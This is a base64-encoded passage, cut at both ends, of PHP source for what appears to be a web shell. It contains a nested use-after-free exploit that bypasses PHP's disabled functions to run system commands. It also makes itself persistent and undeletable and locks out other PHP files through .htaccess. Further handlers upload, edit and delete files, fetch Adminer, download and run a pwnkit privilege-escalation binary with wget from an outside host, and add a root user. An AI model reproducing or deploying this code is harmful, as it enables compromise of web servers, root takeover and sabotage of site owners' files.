0NrN0Nnb2dJQ0FnSUNBZ0lDQWdJQ0JwWmlna2NGOTBlWEJsSUQwOUlERWdKaVlnSkhCZlpteGhaM01nUFQwZ05pa2dleUFqSUZCVVgweFBRVVFzSUZCR1gxSmxZV1JmVjNKcGRHVUtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDTWdhR0Z1Wkd4bElIQnBaUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdKR1JoZEdGZllXUmtjaUE5SUNSbFgzUjVjR1VnUFQwZ01pQS9JQ1J3WDNaaFpHUnlJRG9nSkdKaGMyVWdLeUFrY0Y5MllXUmtjanNLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ1JrWVhSaFgzTnBlbVVnUFNBa2NGOXRaVzF6ZWpzS0lDQWdJQ0FnSUNBZ0lDQWdmU0JsYkhObElHbG1LQ1J3WDNSNWNHVWdQVDBnTVNBbUppQWtjRjltYkdGbmN5QTlQU0ExS1NCN0lDTWdVRlJmVEU5QlJDd2dVRVpmVW1WaFpGOWxlR1ZqQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FrZEdWNGRGOXphWHBsSUQwZ0pIQmZiV1Z0YzNvN0NpQWdJQ0FnSUNBZ0lDQWdJSDBLSUNBZ0lDQWdJQ0I5Q2dvZ0lDQWdJQ0FnSUdsbUtDRWtaR0YwWVY5aFpHUnlJSHg4SUNFa2RHVjRkRjl6YVhwbElIeDhJQ0VrWkdGMFlWOXphWHBsS1FvZ0lDQWdJQ0FnSUNBZ0lDQnlaWFIxY200Z1ptRnNjMlU3Q2dvZ0lDQWdJQ0FnSUhKbGRIVnliaUJiSkdSaGRHRmZZV1JrY2l3Z0pIUmxlSFJmYzJsNlpTd2dKR1JoZEdGZmMybDZaVjA3Q2lBZ0lDQjlDZ29nSUNBZ1puVnVZM1JwYjI0Z1oyVjBYMkpoYzJsalgyWjFibU56S0NSaVlYTmxMQ0FrWld4bUtTQjdDaUFnSUNBZ0lDQWdiR2x6ZENna1pHRjBZVjloWkdSeUxDQWtkR1Y0ZEY5emFYcGxMQ0FrWkdGMFlWOXphWHBsS1NBOUlDUmxiR1k3Q2lBZ0lDQWdJQ0FnWm05eUtDUnBJRDBnTURzZ0pHa2dQQ0FrWkdGMFlWOXphWHBsSUM4Z09Ec2dKR2tyS3lrZ2V3b2dJQ0FnSUNBZ0lDQWdJQ0FrYkdWaGF5QTlJR3hsWVdzb0pHUmhkR0ZmWVdSa2Npd2dKR2tnS2lBNEtUc0tJQ0FnSUNBZ0lDQWdJQ0FnYVdZb0pHeGxZV3NnTFNBa1ltRnpaU0ErSURBZ0ppWWdKR3hsWVdzZ0xTQWtZbUZ6WlNBOElDUmtZWFJoWDJGa1pISWdMU0FrWW1GelpTa2dld29nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdKR1JsY21WbUlEMGdiR1ZoYXlna2JHVmhheWs3Q2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FqSUNkamIyNXpkR0Z1ZENjZ1kyOXVjM1JoYm5RZ1kyaGxZMnNLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJR2xtS0NSa1pYSmxaaUFoUFNBd2VEYzBObVUyTVRjME56TTJaVFptTmpNcENpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdZMjl1ZEdsdWRXVTdDaUFnSUNBZ0lDQWdJQ0FnSUgwZ1pXeHpaU0JqYjI1MGFXNTFaVHNLQ2lBZ0lDQWdJQ0FnSUNBZ0lDUnNaV0ZySUQwZ2JHVmhheWdrWkdGMFlWOWhaR1J5TENBb0pHa2dLeUEwS1NBcUlEZ3BPd29nSUNBZ0lDQWdJQ0FnSUNCcFppZ2tiR1ZoYXlBdElDUmlZWE5sSUQ0Z01DQW1KaUFrYkdWaGF5QXRJQ1JpWVhObElEd2dKR1JoZEdGZllXUmtjaUF0SUNSaVlYTmxLU0I3Q2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FrWkdWeVpXWWdQU0JzWldGcktDUnNaV0ZyS1RzS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNNZ0oySnBiakpvWlhnbklHTnZibk4wWVc1MElHTm9aV05yQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0JwWmlna1pHVnlaV1lnSVQwZ01IZzNPRFkxTmpnek1qWmxOamsyTWlrS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQmpiMjUwYVc1MVpUc0tJQ0FnSUNBZ0lDQWdJQ0FnZlNCbGJITmxJR052Ym5ScGJuVmxPd29LSUNBZ0lDQWdJQ0FnSUNBZ2NtVjBkWEp1SUNSa1lYUmhYMkZrWkhJZ0t5QWthU0FxSURnN0NpQWdJQ0FnSUNBZ2ZRb2dJQ0FnZlFvS0lDQWdJR1oxYm1OMGFXOXVJR2RsZEY5aWFXNWhjbmxmWW1GelpTZ2tZbWx1WVhKNVgyeGxZV3NwSUhzS0lDQWdJQ0FnSUNBa1ltRnpaU0E5SURBN0NpQWdJQ0FnSUNBZ0pITjBZWEowSUQwZ0pHSnBibUZ5ZVY5c1pXRnJJQ1lnTUhobVptWm1abVptWm1abVptWm1NREF3T3dvZ0lDQWdJQ0FnSUdadmNpZ2thU0E5SURBN0lDUnBJRHdnTUhneE1EQXdPeUFrYVNzcktTQjdDaUFnSUNBZ0lDQWdJQ0FnSUNSaFpHUnlJRDBnSkhOMFlYSjBJQzBnTUhneE1EQXdJQ29nSkdrN0NpQWdJQ0FnSUNBZ0lDQWdJQ1JzWldGcklEMGdiR1ZoYXlna1lXUmtjaXdnTUN3Z055azdDaUFnSUNBZ0lDQWdJQ0FnSUdsbUtDUnNaV0ZySUQwOUlEQjRNVEF4TURJME5qUmpORFUzWmlrZ2V5QWpJRVZNUmlCb1pXRmtaWElLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJSEpsZEhWeWJpQWtZV1JrY2pzS0lDQWdJQ0FnSUNBZ0lDQWdmUW9nSUNBZ0lDQWdJSDBLSUNBZ0lIMEtDaUFnSUNCbWRXNWpkR2x2YmlCblpYUmZjM2x6ZEdWdEtDUmlZWE5wWTE5bWRXNWpjeWtnZXdvZ0lDQWdJQ0FnSUNSaFpHUnlJRDBnSkdKaGMybGpYMloxYm1Oek93b2dJQ0FnSUNBZ0lHUnZJSHNLSUNBZ0lDQWdJQ0FnSUNBZ0pHWmZaVzUwY25rZ1BTQnNaV0ZyS0NSaFpHUnlLVHNLSUNBZ0lDQWdJQ0FnSUNBZ0pHWmZibUZ0WlNBOUlHeGxZV3NvSkdaZlpXNTBjbmtzSURBc0lEWXBPd29LSUNBZ0lDQWdJQ0FnSUNBZ2FXWW9KR1pmYm1GdFpTQTlQU0F3ZURaa05qVTNORGN6TnprM015a2dleUFqSUhONWMzUmxiUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdjbVYwZFhKdUlHeGxZV3NvSkdGa1pISWdLeUE0S1RzS0lDQWdJQ0FnSUNBZ0lDQWdmUW9nSUNBZ0lDQWdJQ0FnSUNBa1lXUmtjaUFyUFNBd2VESXdPd29nSUNBZ0lDQWdJSDBnZDJocGJHVW9KR1pmWlc1MGNua2dJVDBnTUNrN0NpQWdJQ0FnSUNBZ2NtVjBkWEp1SUdaaGJITmxPd29nSUNBZ2ZRb0tJQ0FnSUdaMWJtTjBhVzl1SUhSeWFXZG5aWEpmZFdGbUtDUmhjbWNwSUhzS0lDQWdJQ0FnSUNBaklITjBjbDl6YUhWbVpteGxJSEJ5WlhabGJuUnpJRzl3WTJGamFHVWdjM1J5YVc1bklHbHVkR1Z5Ym1sdVp3b2dJQ0FnSUNBZ0lDUmhjbWNnUFNCemRISmZjMmgxWm1ac1pTaHpkSEpmY21Wd1pXRjBLQ2RCSnl3Z056a3BLVHNLSUNBZ0lDQWdJQ0FrZG5Wc2JpQTlJRzVsZHlCV2RXeHVLQ2s3Q2lBZ0lDQWdJQ0FnSkhaMWJHNHRQbUVnUFNBa1lYSm5Pd29nSUNBZ2ZRb0tJQ0FnSUdsbUtITjBjbWx6ZEhJb1VFaFFYMDlUTENBblYwbE9KeWtwSUhzS0lDQWdJQ0FnSUNCa2FXVW9KMVJvYVhNZ1VHOURJR2x6SUdadmNpQXFibWw0SUhONWMzUmxiWE1nYjI1c2VTNG5LVHNLSUNBZ0lIMEtDaUFnSUNBa2JsOWhiR3h2WXlBOUlERXdPeUFqSUdsdVkzSmxZWE5sSUhSb2FYTWdkbUZzZFdVZ2FXWWdWVUZHSUdaaGFXeHpDaUFnSUNBa1kyOXVkR2xuZFc5MWN5QTlJRnRkT3dvZ0lDQWdabTl5S0NScElEMGdNRHNnSkdrZ1BDQWtibDloYkd4dll6c2dKR2tyS3lrS0lDQWdJQ0FnSUNBa1kyOXVkR2xuZFc5MWMxdGRJRDBnYzNSeVgzTm9kV1ptYkdVb2MzUnlYM0psY0dWaGRDZ25RU2NzSURjNUtTazdDZ29nSUNBZ2RISnBaMmRsY2w5MVlXWW9KM2duS1RzS0lDQWdJQ1JoWW1NZ1BTQWtZbUZqYTNSeVlXTmxXekZkV3lkaGNtZHpKMTFiTUYwN0Nnb2dJQ0FnSkdobGJIQmxjaUE5SUc1bGR5QklaV3h3WlhJN0NpQWdJQ0FrYUdWc2NHVnlMVDVpSUQwZ1puVnVZM1JwYjI0Z0tDUjRLU0I3SUgwN0Nnb2dJQ0FnYVdZb2MzUnliR1Z1S0NSaFltTXBJRDA5SURjNUlIeDhJSE4wY214bGJpZ2tZV0pqS1NBOVBTQXdLU0I3Q2lBZ0lDQWdJQ0FnWkdsbEtDSlZRVVlnWm1GcGJHVmtJaWs3Q2lBZ0lDQjlDZ29nSUNBZ0l5QnNaV0ZyY3dvZ0lDQWdKR05zYjNOMWNtVmZhR0Z1Wkd4bGNuTWdQU0J6ZEhJeWNIUnlLQ1JoWW1Nc0lEQXBPd29nSUNBZ0pIQm9jRjlvWldGd0lEMGdjM1J5TW5CMGNpZ2tZV0pqTENBd2VEVTRLVHNLSUNBZ0lDUmhZbU5mWVdSa2NpQTlJQ1J3YUhCZmFHVmhjQ0F0SURCNFl6ZzdDZ29nSUNBZ0l5Qm1ZV3RsSUhaaGJIVmxDaUFnSUNCM2NtbDBaU2drWVdKakxDQXdlRFl3TENBeUtUc0tJQ0FnSUhkeWFYUmxLQ1JoWW1Nc0lEQjROekFzSURZcE93b0tJQ0FnSUNNZ1ptRnJaU0J5WldabGNtVnVZMlVLSUNBZ0lIZHlhWFJsS0NSaFltTXNJREI0TVRBc0lDUmhZbU5mWVdSa2NpQXJJREI0TmpBcE93b2dJQ0FnZDNKcGRHVW9KR0ZpWXl3Z01IZ3hPQ3dnTUhoaEtUc0tDaUFnSUNBa1kyeHZjM1Z5WlY5dlltb2dQU0J6ZEhJeWNIUnlLQ1JoWW1Nc0lEQjRNakFwT3dvS0lDQWdJQ1JpYVc1aGNubGZiR1ZoYXlBOUlHeGxZV3NvSkdOc2IzTjFjbVZmYUdGdVpHeGxjbk1zSURncE93b2dJQ0FnYVdZb0lTZ2tZbUZ6WlNBOUlHZGxkRjlpYVc1aGNubGZZbUZ6WlNna1ltbHVZWEo1WDJ4bFlXc3BLU2tnZXdvZ0lDQWdJQ0FnSUdScFpTZ2lRMjkxYkdSdUozUWdaR1YwWlhKdGFXNWxJR0pwYm1GeWVTQmlZWE5sSUdGa1pISmxjM01pS1RzS0lDQWdJSDBLQ2lBZ0lDQnBaaWdoS0NSbGJHWWdQU0J3WVhKelpWOWxiR1lvSkdKaGMyVXBLU2tnZXdvZ0lDQWdJQ0FnSUdScFpTZ2lRMjkxYkdSdUozUWdjR0Z5YzJVZ1JVeEdJR2hsWVdSbGNpSXBPd29nSUNBZ2ZRb0tJQ0FnSUdsbUtDRW9KR0poYzJsalgyWjFibU56SUQwZ1oyVjBYMkpoYzJsalgyWjFibU56S0NSaVlYTmxMQ0FrWld4bUtTa3BJSHNLSUNBZ0lDQWdJQ0JrYVdVb0lrTnZkV3hrYmlkMElHZGxkQ0JpWVhOcFkxOW1kVzVqZEdsdmJuTWdZV1JrY21WemN5SXBPd29nSUNBZ2ZRb0tJQ0FnSUdsbUtDRW9KSHBwWmw5emVYTjBaVzBnUFNCblpYUmZjM2x6ZEdWdEtDUmlZWE5wWTE5bWRXNWpjeWtwS1NCN0NpQWdJQ0FnSUNBZ1pHbGxLQ0pEYjNWc1pHNG5kQ0JuWlhRZ2VtbG1YM041YzNSbGJTQmhaR1J5WlhOeklpazdDaUFnSUNCOUNnb2dJQ0FnSXlCbVlXdGxJR05zYjNOMWNtVWdiMkpxWldOMENpQWdJQ0FrWm1GclpWOXZZbXBmYjJabWMyVjBJRDBnTUhoa01Ec0tJQ0FnSUdadmNpZ2thU0E5SURBN0lDUnBJRHdnTUhneE1UQTdJQ1JwSUNzOUlEZ3BJSHNLSUNBZ0lDQWdJQ0IzY21sMFpTZ2tZV0pqTENBa1ptRnJaVjl2WW1wZmIyWm1jMlYwSUNzZ0pHa3NJR3hsWVdzb0pHTnNiM04xY21WZmIySnFMQ0FrYVNrcE93b2dJQ0FnZlFvS0lDQWdJQ01nY0hkdUNpQWdJQ0IzY21sMFpTZ2tZV0pqTENBd2VESXdMQ0FrWVdKalgyRmtaSElnS3lBa1ptRnJaVjl2WW1wZmIyWm1jMlYwS1RzS0lDQWdJSGR5YVhSbEtDUmhZbU1zSURCNFpEQWdLeUF3ZURNNExDQXhMQ0EwS1RzZ0l5QnBiblJsY201aGJDQm1kVzVqSUhSNWNHVUtJQ0FnSUhkeWFYUmxLQ1JoWW1Nc0lEQjRaREFnS3lBd2VEWTRMQ0FrZW1sbVgzTjVjM1JsYlNrN0lDTWdhVzUwWlhKdVlXd2dablZ1WXlCb1lXNWtiR1Z5Q2dvZ0lDQWdLQ1JvWld4d1pYSXRQbUlwS0NSamJXUmtLVHNLZlE9PSc7CiAgICAgICAgJGZ1bmdzaVsyOF0oIi50ZXJtLWJ5cGFzcyIsIGJhc2U2NF9kZWNvZGUoJGNvbm50KSk7CiAgICB9Cn0KCgppZiAoaXNzZXQoJF9HRVRbJ2xvY2tzaGVsbCddKSkgewogICAgJGN1ckZpbGUgPSB0cmltKGJhc2VuYW1lKCRfU0VSVkVSWyJceDUzXHg0M1x4NTJceDQ5XHg1MFx4NTRceDVmXHg0Nlx4NDlceDRjXHg0NVx4NGVceDQxXHg0ZFx4NDUiXSkpOwogICAgJFRtcE5hbWVzID0gJGZ1bmdzaVszMV0oKTsKICAgIGlmIChmaWxlX2V4aXN0cygkVG1wTmFtZXMgLiAnLy5zZXNzaW9ucy8uJyAuIGJhc2U2NF9lbmNvZGUoJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkY3VyRmlsZSkgIC4gJy1oYW5kbGVyJykpICYmIGZpbGVfZXhpc3RzKCRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gYmFzZTY0X2VuY29kZSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRjdXJGaWxlKSAuICctdGV4dCcpKSkgewogICAgICAgIGNtZCgncm0gLXJmICcgLiAkVG1wTmFtZXMgLiAnLy5zZXNzaW9ucy8uJyAuIGJhc2U2NF9lbmNvZGUoJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkY3VyRmlsZSkgLiAnLXRleHQnKSk7CiAgICAgICAgY21kKCdybSAtcmYgJyAuICRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gYmFzZTY0X2VuY29kZSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRjdXJGaWxlKSAuICctaGFuZGxlcicpKTsKICAgIH0KICAgIG1rZGlyKCRUbXBOYW1lcyAuICIvLnNlc3Npb25zIik7CiAgICBjbWQoImNwICRjdXJGaWxlICIgLiAkVG1wTmFtZXMgLiAiLy5zZXNzaW9ucy8uIiAuIGJhc2U2NF9lbmNvZGUoJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkY3VyRmlsZSkgLiAnLXRleHQnKSk7CiAgICBjaG1vZCgkY3VyRmlsZSwgMDQ0NCk7CiAgICAkaGFuZGxlciA9ICcKPD9waHAKQGluaV9zZXQoIm1heF9leGVjdXRpb25fdGltZSIsIDApOwp3aGlsZSAoVHJ1ZSl7CiAgICBpZiAoIWZpbGVfZXhpc3RzKCInIC4gX19ESVJfXyAuICciKSl7CiAgICAgICAgbWtkaXIoIicgLiBfX0RJUl9fIC4gJyIpOwogICAgfQogICAgaWYgKCFmaWxlX2V4aXN0cygiJyAuICRmdW5nc2lbMF0oKSAuICcvJyAuICRjdXJGaWxlIC4gJyIpKXsKICAgICAgICAkdGV4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoIicgLiAkVG1wTmFtZXMgLiAnLy5zZXNzaW9ucy8uJyAuIGJhc2U2NF9lbmNvZGUoJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkY3VyRmlsZSkgLiAnLXRleHQnKSAuICciKSk7CiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoIicgLiAkZnVuZ3NpWzBdKCkgLiAnLycgLiAkY3VyRmlsZSAuICciLCBiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7CiAgICB9CiAgICBpZiAoZ2Vja29fcGVybSgiJyAuICRmdW5nc2lbMF0oKSAuICcvJyAuICRjdXJGaWxlIC4gJyIpICE9IDA0NDQpewogICAgICAgIGNobW9kKCInIC4gJGZ1bmdzaVswXSgpIC4gJy8nIC4gJGN1ckZpbGUgLiAnIiwgMDQ0NCk7CiAgICB9CiAgICBpZiAoZ2Vja29fcGVybSgiJyAuIF9fRElSX18gLiAnIikgIT0gMDU1NSl7CiAgICAgICAgY2htb2QoIicgLiBfX0RJUl9fIC4gJyIsIDA1NTUpOwogICAgfQp9CgpmdW5jdGlvbiBnZWNrb19wZXJtKCRmbGVuYW1lKXsKICAgIHJldHVybiBzdWJzdHIoc3ByaW50ZigiJW8iLCBmaWxlcGVybXMoJGZsZW5hbWUpKSwgLTQpOwp9Cic7CiAgICAkaG5kbGVycyA9ICRmdW5nc2lbMjhdKCRUbXBOYW1lcyAuICIvLnNlc3Npb25zLy4iIC4gYmFzZTY0X2VuY29kZSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRjdXJGaWxlKSAgLiAnLWhhbmRsZXInKSAuICIiLCAkaGFuZGxlcik7CiAgICBpZiAoJGhuZGxlcnMpIHsKICAgICAgICBjbWQoJ3BocCAnIC4gJFRtcE5hbWVzIC4gJy8uc2Vzc2lvbnMvLicgLiBiYXNlNjRfZW5jb2RlKCRmdW5nc2lbMF0oKSAuIHJlbW92ZV9kb3QoJGN1ckZpbGUpICAuICctaGFuZGxlcicpIC4gJyA+IC9kZXYvbnVsbCAyPi9kZXYvbnVsbCAmJyk7CiAgICAgICAgc3VjY2VzcygpOwogICAgfSBlbHNlIHsKICAgICAgICBmYWlsZWQoKTsKICAgIH0KfQppZiAoaXNzZXQoJF9QT1NUWydnZWNrby11cC1zdWJtaXQnXSkpIHsKICAgICRuYW1hRmlsZW55YSA9ICRfRklMRVNbJ2dlY2tvLXVwbG9hZCddWyduYW1lJ107CiAgICAkdG1wTmFtZSA9ICRfRklMRVNbJ2dlY2tvLXVwbG9hZCddWyd0bXBfbmFtZSddOwogICAgaWYgKCRmdW5nc2lbMjldKCR0bXBOYW1lLCAkZnVuZ3NpWzBdKCkgLiAiLyIgLiAkbmFtYUZpbGVueWEpKSB7CiAgICAgICAgc3VjY2VzcygpOwogICAgfSBlbHNlIHsKICAgICAgICBmYWlsZWQoKTsKICAgIH0KfQoKaWYgKCRfR0VUWydsb2dvdXQnXSA9PSBUcnVlKSB7CiAgICBzZXNzaW9uX2Rlc3Ryb3koKTsKICAgIHNlc3Npb25fdW5zZXQoKTsKICAgIHN1Y2Nlc3MoKTsKfQoKaWYgKGlzc2V0KCRfR0VUWydkZXN0cm95J10pKSB7CiAgICAkRE9DX1JPT1QgPSAkX1NFUlZFUlsiXHg0NFx4NGZceDQzXHg1NVx4NGRceDQ1XHg0ZVx4NTRceDVmXHg1Mlx4NGZceDRmXHg1NCJdOwogICAgJEN1cnJlbnRGaWxlID0gdHJpbShiYXNlbmFtZSgkX1NFUlZFUlsiXHg1M1x4NDNceDUyXHg0OVx4NTBceDU0XHg1Zlx4NDZceDQ5XHg0Y1x4NDVceDRlXHg0MVx4NGRceDQ1Il0pKTsKICAgIGlmICgkZnVuZ3NpWzRdKCRET0NfUk9PVCkpIHsKICAgICAgICAkaHRhY2Nlc3MgPSAnCjxGaWxlc01hdGNoICJcLihwaHB8cGgqfFBoKnxQSCp8cEgqKSQiPgogICAgRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICJeKCcgLiAkQ3VycmVudEZpbGUgLiAnfGluZGV4LnBocHx3cC1jb25maWcucGhwfHdwLWluY2x1ZGVzLnBocCkkIj4KICAgIEFsbG93IGZyb20gYWxsCjwvRmlsZXNNYXRjaD4KPEZpbGVzTWF0Y2ggIlwuKGpwZ3xwbmd8Z2lmfHBkZnxqcGVnKSQiPgogICAgQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPic7CiAgICAgICAgJHB1dF9odHQgPSAkZnVuZ3NpWzI4XSgkRE9DX1JPT1QgLiAiLy5odGFjY2VzcyIsICRodGFjY2Vzcyk7CiAgICAgICAgaWYgKCRwdXRfaHR0KSB7CiAgICAgICAgICAgIHN1Y2Nlc3MoKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBmYWlsZWQoKTsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGZhaWxlZCgpOwogICAgfQp9CgoKaWYgKGlzc2V0KCRfUE9TVFsnc2F2ZS1lZGl0b3InXSkpIHsKICAgICRzYXZlID0gJGZ1bmdzaVsyOF0oJGZ1bmdzaVswXSgpIC4gIi8iIC4gdW54KCRfR0VUWydmJ10pLCAkX1BPU1RbJ2NvZGUtZWRpdG9yJ10pOwogICAgaWYgKCRzYXZlKSB7CiAgICAgICAgc3VjY2VzcygpOwogICAgfSBlbHNlIHsKICAgICAgICBmYWlsZWQoKTsKICAgIH0KfQoKaWYgKGlzc2V0KCRfR0VUWydhZG1pbmVyJ10pKSB7CiAgICAkVVJMID0gIlx4NjhceDc0XHg3NFx4NzBceDczXHgzYVx4MmZceDJmXHg2N1x4NjlceDc0XHg2OFx4NzVceDYyXHgyZVx4NjNceDZmXHg2ZFx4MmZceDc2XHg3Mlx4NjFceDZlXHg2MVx4MmZceDYxXHg2NFx4NmRceDY5XHg2ZVx4NjVceDcyXHgyZlx4NzJceDY1XHg2Y1x4NjVceDYxXHg3M1x4NjVceDczXHgyZlx4NjRceDZmXHg3N1x4NmVceDZjXHg2Zlx4NjFceDY0XHgyZlx4NzZceDM0XHgyZVx4MzhceDJlXHgzMVx4MmZceDYxXHg2NFx4NmRceDY5XHg2ZVx4NjVceDcyXHgyZFx4MzRceDJlXHgzOFx4MmVceDMxXHgyZVx4NzBceDY4XHg3MCI7CiAgICBpZiAoISRmdW5nc2lbM10oJ2FkbWluZXIucGhwJykpIHsKICAgICAgICBjbWQoJ3dnZXQgJyAuICRVUkwgLiAnIC1PIGFkbWluZXIucGhwIC0tcXVpZXQnKTsKICAgICAgICBlY2hvICc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO3VybD0/ZD0nIC4gaHgoJGZ1bmdzaVswXSgpKSAuICciPic7CiAgICB9Cn0KCgppZiAoJF9HRVRbJ3Rlcm1pbmFsJ10gPT0gInJvb3QiKSB7CiAgICBpZiAoISRmdW5nc2lbM10oJ3B3bmtpdCcpICYmICRmdW5nc2lbNF0oJGZ1bmdzaVswXSgpKSkgewogICAgICAgIGNtZCgnd2dldCBodHRwczovL2dpdGh1Yi5jb20vTWFkRXhwbG9pdHMvUHJpdmVsZWdlLWVzY2FsYXRpb24vcmF3L21haW4vcHdua2l0IC1PIHB3bmtpdCcpOwogICAgICAgIGNtZCgnY2htb2QgK3ggcHdua2l0Jyk7CiAgICAgICAgZWNobyBjbWQoJy4vcHdua2l0IGlkID4gLm1hZC1yb290Jyk7CiAgICAgICAgZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9JyAuIGh4KCRmdW5nc2lbMF0oKSkgLiAnJnRlcm1pbmFsPXJvb3QiPic7CiAgICB9Cn0KCmlmIChpc3NldCgkX1BPU1RbJ3N1Ym1pdC1hY3Rpb24nXSkpIHsKICAgICRpdGVtcyA9ICRfUE9TVFsnY2hlY2snXTsKICAgIGlmICgkX1BPU1RbJ2dlY2tvLXNlbGVjdCddID09ICJkZWxldGUiKSB7CiAgICAgICAgZm9yZWFjaCAoJGl0ZW1zIGFzICRpdCkgewogICAgICAgICAgICAkcmVwbCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGZ1bmdzaVswXSgpKTsgLy8gVW50dWsgV2luZG93cyBQYXRoCiAgICAgICAgICAgICRmZCA9ICRyZXBsIC4gIi8iIC4gJGl0OwogICAgICAgICAgICBpZiAoaXNfZGlyKCRmZCkgfHwgaXNfZmlsZSgkZmQpKSB7CiAgICAgICAgICAgICAgICAkcm1kaXIgPSB1bmxpbmtEaXIoJGZkKTsKICAgICAgICAgICAgICAgICRybWZpbGUgPSAkZnVuZ3NpWzI0XSgkZmQpOwogICAgICAgICAgICAgICAgaWYgKCRybWRpciB8fCAkcm1maWxlKSB7CiAgICAgICAgICAgICAgICAgICAgc3VjY2VzcygpOwogICAgICAgICAgICAgICAgfSBlbHNlIGlmICgkcm1kaXIgJiYgJHJtZmlsZSkgewogICAgICAgICAgICAgICAgICAgIHN1Y2Nlc3MoKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgZmFpbGVkKCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0KCmlmIChpc3NldCgkX1BPU1RbJ3N1Ym1pdCddKSkgewogICAgaWYgKCRfUE9TVFsnY3JlYXRlX2ZvbGRlciddID09IHRydWUpIHsKICAgICAgICAkTmFtYUZvbGRlciA9ICRmdW5nc2lbMTJdKCRfUE9TVFsnY3JlYXRlX2ZvbGRlciddKTsKICAgICAgICBpZiAoJE5hbWFGb2xkZXIpIHsKICAgICAgICAgICAgc3VjY2VzcygpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGZhaWxlZCgpOwogICAgICAgIH0KICAgIH0gZWxzZSBpZiAoJF9QT1NUWydjcmVhdGVfZmlsZSddID09IHRydWUpIHsKICAgICAgICAkbmFtYUZpbGUgPSAkZnVuZ3NpWzEzXSgkX1BPU1RbJ2NyZWF0ZV9maWxlJ10pOwogICAgICAgIGlmICgkbmFtYUZpbGUpIHsKICAgICAgICAgICAgc3VjY2VzcygpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGZhaWxlZCgpOwogICAgICAgIH0KICAgIH0gZWxzZSBpZiAoJF9QT1NUWydyZW5hbWVGaWxlJ10gPT0gdHJ1ZSkgewogICAgICAgICRyZW5hbWVGaWxlID0gJGZ1bmdzaVsxNV0odW54KCRfR0VUWydyZSddKSwgJF9QT1NUWydyZW5hbWVGaWxlJ10pOwogICAgICAgIGlmICgkcmVuYW1lRmlsZSkgewogICAgICAgICAgICBzdWNjZXNzKCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZmFpbGVkKCk7CiAgICAgICAgfQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2NoRmlsZSddKSB7CiAgICAgICAgJGNoRmlsZXMgPSAkZnVuZ3NpWzMwXSh1bngoJF9HRVRbJ2NoJ10pLCAkX1BPU1RbJ2NoRmlsZSddKTsKICAgICAgICBpZiAoJGNoRmlsZXMpIHsKICAgICAgICAgICAgc3VjY2VzcygpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGZhaWxlZCgpOwogICAgICAgIH0KICAgIH0gZWxzZSBpZiAoaXNzZXQoJF9QT1NUWydhZGQtdXNlcm5hbWUnXSkgJiYgaXNzZXQoJF9QT1NUWydhZGQtcGFzc3dvcmQnXSkpIHsKICAgICAgICBpZiAoISRmdW5nc2lbM10oJ3B3bmtpdCcpKSB7CiAgICAgICAgICAgIGNtZCgnd2dldCBodHRwczovL2dpdGh1Yi5jb20vTWFkRXhwbG9pdHMvUHJpdmVsZWdlLWVzY2FsYXRpb24vcmF3L21haW4vcHdua2l0IC1PIHB3bmtpdCcpOwogICAgICAgICAgICBjbWQoJ2NobW9kICt4IHB3bmtpdCcpOwogICAgICAgICAgICBjbWQoJy4vcHdua2l0ICJpZCIgPiAubWFkLXJvb3QnKTsKICAgICAgICAgICAgZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9JyAuIGh4KCRmdW5nc2lbMF0oKSkgLiAnJnJvb3Rpbmc9VHJ1ZSI+JzsKICAgICAgICB9IGVsc2UgaWYgKCRmdW5nc2lbM10oJy5tYWQtcm9vdCcpKSB7CiAgICAgICAgICAgICRyZXNwb25zZSA9ICRmdW5nc2lbMTFdKCcubWFkLXJvb3QnKTsKICAgICAgICAgICAgJHJfdGV4dCA9IGV4cGxvZGUoIiAiLCAkcmVzcG9uc2UpOwogICAgICAgICAgICBpZiAoJHJfdGV4dFswXSA9PSAidWlkPTAocm9vdCkiKSB7CiAgICAgICAgICAgICAgICAkdXNlcm5hbWUgPSAkX1BPU1Rb